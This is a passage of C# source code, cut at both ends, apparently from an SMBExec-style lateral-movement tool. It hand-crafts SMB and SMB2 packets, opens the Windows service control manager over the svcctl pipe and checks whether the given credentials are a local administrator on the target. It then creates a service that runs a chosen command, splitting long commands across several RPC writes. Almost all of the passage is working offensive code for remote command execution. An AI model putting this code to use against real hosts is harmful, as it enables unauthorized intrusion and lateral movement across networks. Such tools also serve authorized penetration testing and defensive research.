= Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data);\n int RPC_Data_Length = SMB_Data.Length + SCM_Data.Length + RPC_Data.Length;\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, RPC_Data_Length);\n\n if (SMB_Signing)\n {\n SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray();\n SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign);\n SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7);\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signature;\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"ReadAndXRequest\";\n SMB_Client_Stage_Next = \"CloseServiceHandle\";\n SMB_Close_Service_Handle_Stage = 1;\n }\n break;\n case \"CloseServiceHandle\":\n {\n Packet_SCM_Data = new OrderedDictionary();\n if (SMB_Close_Service_Handle_Stage == 1)\n {\n if (debug) { output.AppendLine(String.Format(\"Service {0} deleted on {1}\", SMB_Service, Target)); }\n Service_Deleted = true;\n SMB_Close_Service_Handle_Stage++;\n Packet_SCM_Data = SMBExec.SCMCloseServiceHandle(SMB_Service_Context_Handle);\n }\n else\n {\n SMBClientStage = \"CloseRequest\";\n Packet_SCM_Data = SMBExec.SCMCloseServiceHandle(SMB_Service_Manager_Context_Handle);\n }\n Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x2f }, new byte[] { 0x18 }, new byte[] { 0x05, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID);\n\n if (SMB_Signing)\n {\n Packet_SMB_Header[\"SMBHeader_Flags2\"] = new byte[] { 0x05, 0x48 };\n SMB_Signing_Counter += 2;\n SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray();\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signing_Sequence;\n }\n SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data);\n Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x03 }, SCM_Data.Length, 0, 0, new byte[] { 0x05, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, null);\n RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data);\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n Packet_SMB_Data = SMBExec.SMBWriteAndXRequest(SMB_FID, RPC_Data.Length + SCM_Data.Length);\n SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data);\n int RPC_Data_Length = SMB_Data.Length + SCM_Data.Length + RPC_Data.Length;\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, RPC_Data_Length);\n\n if (SMB_Signing)\n {\n SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray();\n SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign);\n SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7);\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signature;\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n }\n break;\n case \"CloseRequest\":\n {\n Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x04 }, new byte[] { 0x18 }, new byte[] { 0x07, 0xc8 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID);\n\n if (SMB_Signing)\n {\n Packet_SMB_Header[\"SMBHeader_Flags2\"] = new byte[] { 0x05, 0x48 };\n SMB_Signing_Counter += 2;\n SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray();\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signing_Sequence;\n }\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n Packet_SMB_Data = SMBExec.SMBCloseRequest(new byte[] { 0x00, 0x40 });\n SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data);\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length);\n\n if (SMB_Signing)\n {\n SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).ToArray();\n SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign);\n SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7);\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signature;\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"TreeDisconnect\";\n }\n break;\n case \"TreeDisconnect\":\n {\n Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x71 }, new byte[] { 0x18 }, new byte[] { 0x07, 0xc8 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID);\n\n if (SMB_Signing)\n {\n Packet_SMB_Header[\"SMBHeader_Flags2\"] = new byte[] { 0x05, 0x48 };\n SMB_Signing_Counter += 2;\n SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray();\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signing_Sequence;\n }\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n Packet_SMB_Data = SMBExec.SMBTreeDisconnectRequest();\n SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data);\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length);\n\n\n if (SMB_Signing)\n {\n SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).ToArray();\n SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign);\n SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7);\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signature;\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"Logoff\";\n }\n break;\n case \"Logoff\":\n {\n Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x74 }, new byte[] { 0x18 }, new byte[] { 0x07, 0xc8 }, new byte[] { 0x34, 0xfe }, Process_ID_Bytes, SMB_User_ID);\n\n if (SMB_Signing)\n {\n Packet_SMB_Header[\"SMBHeader_Flags2\"] = new byte[] { 0x05, 0x48 };\n SMB_Signing_Counter += 2;\n SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray();\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signing_Sequence;\n }\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n Packet_SMB_Data = SMBExec.SMBLogoffAndXRequest();\n SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data);\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length);\n\n\n if (SMB_Signing)\n {\n SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).ToArray();\n SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign);\n SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7);\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signature;\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"exit\";\n }\n break;\n }\n\n }\n }\n else\n {\n SMBClientStage = \"TreeConnect\";\n HMACSHA256 HMAC_SHA256 = new HMACSHA256();\n\n while (SMBClientStage != \"exit\" && SMBExec_Failed == false)\n {\n if (debug) { output.AppendLine(String.Format(\"Current Stage {0}\", SMBClientStage)); }\n switch (SMBClientStage)\n {\n case \"TreeConnect\":\n {\n SMB2_Message_ID++;\n Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x03, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID);\n Packet_SMB2_Header[\"SMB2Header_CreditRequest\"] = new byte[] { 0x7f, 0x00 };\n\n if (SMB_Signing)\n {\n Packet_SMB2_Header[\"SMB2Header_Flags\"] = new byte[] { 0x08, 0x00, 0x00, 0x00 };\n }\n\n Packet_SMB2_Data = SMBExec.SMB2TreeConnectRequest(SMB_Path_Bytes);\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data);\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length);\n if (SMB_Signing)\n {\n HMAC_SHA256 = new HMACSHA256();\n SMB2_Sign = SMB2_Header.Concat(SMB2_Data).ToArray();\n SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign);\n SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15);\n Packet_SMB2_Header[\"SMB2Header_Signature\"] = SMB2_Signature;\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"CreateRequest\";\n }\n break;\n case \"CreateRequest\":\n {\n SMB2_Tree_ID = new byte[] { 0x01, 0x00, 0x00, 0x00 };\n SMB_Named_Pipe_Bytes = new byte[] { 0x73, 0x00, 0x76, 0x00, 0x63, 0x00, 0x63, 0x00, 0x74, 0x00, 0x6c, 0x00 }; //svcctl\n SMB2_Message_ID++;\n Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x05, 0x0 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID);\n Packet_SMB2_Header[\"SMB2Header_CreditRequest\"] = new byte[] { 0x7f, 0x00 };\n if (SMB_Signing)\n {\n Packet_SMB2_Header[\"SMB2Header_Flags\"] = new byte[] { 0x08, 0x00, 0x00, 0x00 };\n }\n Packet_SMB2_Data = SMBExec.SMB2CreateRequestFile(SMB_Named_Pipe_Bytes);\n Packet_SMB2_Data[\"SMB2CreateRequestFIle_Share_Access\"] = new byte[] { 0x07, 0x00, 0x00, 0x00 };\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data);\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length);\n if (SMB_Signing)\n {\n HMAC_SHA256 = new HMACSHA256();\n SMB2_Sign = SMB2_Header.Concat(SMB2_Data).ToArray();\n SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign);\n SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15);\n Packet_SMB2_Header[\"SMB2Header_Signature\"] = SMB2_Signature;\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"RPCBind\";\n }\n break;\n case \"RPCBind\":\n {\n SMB_Named_Pipe_Bytes = new byte[] { 0x73, 0x00, 0x76, 0x00, 0x63, 0x00, 0x63, 0x00, 0x74, 0x00, 0x6c, 0x00 }; //svcctl\n SMB2_Message_ID++;\n SMB_File_ID = Utilities.GetByteRange(SMBClientReceive, 132, 147);\n Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x09, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID);\n Packet_SMB2_Header[\"SMB2Header_CreditRequest\"] = new byte[] { 0x7f, 0x00 };\n if (SMB_Signing)\n {\n Packet_SMB2_Header[\"SMB2Header_Flags\"] = new byte[] { 0x08, 0x00, 0x00, 0x00 };\n }\n Packet_RPC_Data = SMBExec.RPCBind(1, new byte[] { 0xb8, 0x10 }, new byte[] { 0x01 }, new byte[] { 0x0, 0x00 }, SMB_named_pipe_UUID, new byte[] { 0x02, 0x00 });\n RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data);\n Packet_SMB2_Data = SMBExec.SMB2WriteRequest(SMB_File_ID, RPC_Data.Length);\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data);\n int RPC_Data_Length = SMB2_Data.Length + RPC_Data.Length;\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, RPC_Data_Length);\n if (SMB_Signing)\n {\n HMAC_SHA256 = new HMACSHA256();\n SMB2_Sign = SMB2_Header.Concat(SMB2_Data).Concat(RPC_Data).ToArray();\n SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign);\n SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15);\n Packet_SMB2_Header[\"SMB2Header_Signature\"] = SMB2_Signature;\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).Concat(RPC_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"ReadRequest\";\n SMB_Client_Stage_Next = \"OpenSCManagerW\";\n }\n break;\n case \"ReadRequest\":\n {\n Thread.Sleep(sleep * 1000);\n SMB2_Message_ID++;\n Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x08, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID);\n Packet_SMB2_Header[\"SMB2Header_CreditRequest\"] = new byte[] { 0x7f, 0x00 };\n Packet_SMB2_Header[\"SMB2Header_CreditCharge\"] = new byte[] { 0x10, 0x00 };\n if (SMB_Signing)\n {\n Packet_SMB2_Header[\"SMB2Header_Flags\"] = new byte[] { 0x08, 0x00, 0x00, 0x00 };\n }\n\n Packet_SMB2_Data = SMBExec.SMB2ReadRequest(SMB_File_ID);\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data);\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length);\n if (SMB_Signing)\n {\n HMAC_SHA256 = new HMACSHA256();\n SMB2_Sign = SMB2_Header.Concat(SMB2_Data).ToArray();\n SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign);\n SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15);\n Packet_SMB2_Header[\"SMB2Header_Signature\"] = SMB2_Signature;\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 12, 15)) != \"03-01-00-00\")\n {\n SMBClientStage = SMB_Client_Stage_Next;\n }\n else\n {\n SMBClientStage = \"StatusPending\";\n }\n\n }\n break;\n\n case \"StatusPending\":\n {\n SMBClientStream.Read(SMBClientReceive, 0, SMBClientReceive.Length);\n if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 12, 15)) != \"03-01-00-00\")\n {\n SMBClientStage = SMB_Client_Stage_Next;\n }\n }\n break;\n case \"OpenSCManagerW\":\n {\n SMB2_Message_ID = 30;\n Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x09, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID);\n Packet_SMB2_Header[\"SMB2Header_CreditRequest\"] = new byte[] { 0x7f, 0x00 };\n if (SMB_Signing)\n {\n Packet_SMB2_Header[\"SMB2Header_Flags\"] = new byte[] { 0x08, 0x00, 0x00, 0x00 };\n }\n Packet_SCM_Data = SMBExec.SCMOpenSCManagerW(SMB_Service_Bytes, SMB_Service_Length);\n SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data);\n Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x03 }, SCM_Data.Length, 0, 0, new byte[] { 0x01, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x0f, 0x00 }, null);\n RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data);\n Packet_SMB2_Data = SMBExec.SMB2WriteRequest(SMB_File_ID, RPC_Data.Length + SCM_Data.Length);\n SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data);\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n int RPC_Data_Length = SMB2_Data.Length + SCM_Data.Length + RPC_Data.Length;\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, RPC_Data_Length);\n\n if (SMB_Signing)\n {\n HMAC_SHA256 = new HMACSHA256();\n SMB2_Sign = SMB2_Header.Concat(SMB2_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray();\n SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign);\n SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15);\n Packet_SMB2_Header[\"SMB2Header_Signature\"] = SMB2_Signature;\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"ReadRequest\";\n SMB_Client_Stage_Next = \"CheckAccess\";\n\n }\n break;\n\n case \"CheckAccess\":\n {\n if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 128, 131)) == \"00-00-00-00\" && BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 108, 127)) != \"00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00\")\n {\n SMB_Service_Manager_Context_Handle = Utilities.GetByteRange(SMBClientReceive, 108, 127);\n if (SMB_execute)\n {\n Packet_SCM_Data = SMBExec.SCMCreateServiceW(SMB_Service_Manager_Context_Handle, SMB_Service_Bytes, SMB_Service_Length, SMBExec_Command, SMBExec_Command_Length_bytes);\n SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data);\n if (SCM_Data.Length < SMB_Split_Index)\n {\n SMBClientStage = \"CreateServiceW\";\n }\n else\n {\n SMBClientStage = \"CreateServiceW_First\";\n }\n }\n else\n {\n\n output.AppendLine(String.Format(\"{0} is a local administrator on {1}\", Output_Username, Target));\n SMB2_Message_ID += 20;\n SMB_Close_Service_Handle_Stage = 2;\n SMBClientStage = \"CloseServiceHandle\";\n }\n\n }\n else if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 128, 131)) == \"05-00-00-00\")\n {\n output.AppendLine(String.Format(\"{0} is not a local administrator or does not have the required privileges on {1}\", Output_Username, Target));\n SMBExec_Failed = true;\n }\n else\n {\n output.AppendLine(String.Format(\"Something went wrong with {0}\", Target));\n SMBExec_Failed = true;\n }\n\n }\n break;\n case \"CreateServiceW\":\n {\n if (SMBExec_Command.Length < SMB_Split_Index)\n {\n SMB2_Message_ID += 20;\n Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x09, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID);\n Packet_SMB2_Header[\"SMB2Header_CreditRequest\"] = new byte[] { 0x7f, 0x00 };\n if (SMB_Signing)\n {\n Packet_SMB2_Header[\"SMB2Header_Flags\"] = new byte[] { 0x08, 0x00, 0x00, 0x00 };\n }\n Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x03 }, SCM_Data.Length, 0, 0, new byte[] { 0x01, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x0c, 0x00 }, null);\n RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data);\n Packet_SMB_Data = SMBExec.SMB2WriteRequest(SMB_File_ID, RPC_Data.Length + SCM_Data.Length);\n SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data);\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n int RPC_Data_Length = SMB2_Data.Length + SCM_Data.Length + RPC_Data.Length;\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, RPC_Data_Length);\n if (SMB_Signing)\n {\n HMAC_SHA256 = new HMACSHA256();\n SMB2_Sign = SMB2_Header.Concat(SMB2_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray();\n SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign);\n SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15);\n Packet_SMB2_Header[\"SMB2Header_Signature\"] = SMB2_Signature;\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"ReadRequest\";\n SMB_Client_Stage_Next = \"StartServiceW\";\n\n }\n }\n break;\n case \"CreateServiceW_First\":\n {\n SMB_Split_Stage_final = Math.Ceiling((double)SCM_Data.Length / SMB_Split_Index);\n SMB2_Message_ID += 20;\n Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x09, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID);\n Packet_SMB2_Header[\"SMB2Header_CreditRequest\"] = new byte[] { 0x7f, 0x00 };\n if (SMB_Signing)\n {\n Packet_SMB2_Header[\"SMB2Header_Flags\"] = new byte[] { 0x08, 0x00, 0x00, 0x00 };\n }\n\n byte[] SCM_Data_First = Utilities.GetByteRange(SCM_Data, 0, SMB_Split_Index - 1);\n Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x01 }, 0, 0, 0, new byte[] { 0x01, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x0c, 0x00 }, SCM_Data_First);\n Packet_RPC_Data[\"RPCRequest_AllocHint\"] = BitConverter.GetBytes(SCM_Data.Length);\n SMB_Split_Index_Tracker = SMB_Split_Index;\n RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data);\n Packet_SMB2_Data = SMBExec.SMB2WriteRequest(SMB_File_ID, RPC_Data.Length);\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data);\n int RPC_Data_Length = SMB2_Data.Length + RPC_Data.Length;\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, RPC_Data_Length);\n if (SMB_Signing)\n {\n HMAC_SHA256 = new HMACSHA256();\n SMB2_Sign = SMB2_Header.Concat(SMB2_Data).Concat(RPC_Data).ToArray();\n SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign);\n SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15);\n Packet_SMB2_Header[\"SMB2Header_Signature\"] = SMB2_Signature;\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).Concat(RPC_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n\n if (SMB_Split_Stage_final <= 2)\n {\n SMBClientStage = \"CreateServiceW_Last\";\n }\n else\n {\n SMB_Split_Stage = 2;\n SMBClientStage = \"CreateServiceW_Middle\";\n }\n }\n break;\n\n case \"CreateServiceW_Middle\":\n {\n SMB_Split_Stage++;\n SMB2_Message_ID++;\n Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x09, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID);\n Packet_SMB2_Header[\"SMB2Header_CreditRequest\"] = new byte[] { 0x7f, 0x00 };\n if (SMB_Signing)\n {\n Packet_SMB2_Header[\"SMB2Header_Flags\"] = new byte[] { 0x08, 0x00, 0x00, 0x00 };\n }\n byte[] SCM_Data_Middle = Utilities.GetByteRange(SCM_Data, SMB_Split_Index_Tracker, SMB_Split_Index_Tracker + SMB_Split_Index - 1);\n SMB_Split_Index_Tracker += SMB_Split_Index;\n Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x00 }, 0, 0, 0, new byte[] { 0x01, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x0c, 0x00 }, SCM_Data_Middle);\n Packet_RPC_Data[\"RPCRequest_AllocHint\"] = BitConverter.GetBytes(SCM_Data.Length - SMB_Split_Index_Tracker + SMB_Split_Index);\n RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data);\n Packet_SMB2_Data = SMBExec.SMB2WriteRequest(SMB_File_ID, RPC_Data.Length);\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data);\n int RPC_Data_Length = SMB2_Data.Length + RPC_Data.Length;\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, RPC_Data_Length);\n if (SMB_Signing)\n {\n HMAC_SHA256 = new HMACSHA256();\n SMB2_Sign = SMB2_Header.Concat(SMB2_Data).Concat(RPC_Data).ToArray();\n SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign);\n SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15);\n Packet_SMB2_Header[\"SMB2Header_Signature\"] = SMB2_Signature;\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).Concat(RPC_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n if (SMB_Split_Stage >= SMB_Split_Stage_final)\n {\n SMBClientStage = \"CreateServiceW_Last\";\n }\n else\n {\n SMBClientStage = \"CreateServiceW_Middle\";\n }\n }\n break;\n\n case \"CreateServiceW_Last\":\n {\n SMB2_Message_ID++;\n Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x09, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID);\n Packet_SMB2_Header[\"SMB2Header_CreditRequest\"] = new byte[] { 0x7f, 0x00 };\n if (SMB_Signing)\n {\n Packet_SMB2_Header[\"SMB2Header_Flags\"] = new byte[] { 0x08, 0x00, 0x00, 0x00 };\n }\n byte[] SCM_Data_Last = Utilities.GetByteRange(SCM_Data, SMB_Split_Index_Tracker, SCM_Data.Length);\n Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x02 }, 0, 0, 0, new byte[] { 0x01, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x0c, 0x00 }, SCM_Data_Last);\n RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data);\n Packet_SMB2_Data = SMBExec.SMB2WriteRequest(SMB_File_ID, RPC_Data.Length);\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data);\n int RPC_Data_Length = SMB2_Data.Length + RPC_Data.Length;\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, RPC_Data_Length);\n if (SMB_Signing)\n {\n HMAC_SHA256 = new HMACSHA256();\n SMB2_Sign = SMB2_Header.Concat(SMB2_Data).Concat(RPC_Data).ToArray();\n SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign);\n SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15);\n Packet_SMB2_Header[\"SMB2Header_Signature\"] = SMB2_Signature;\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n }\n 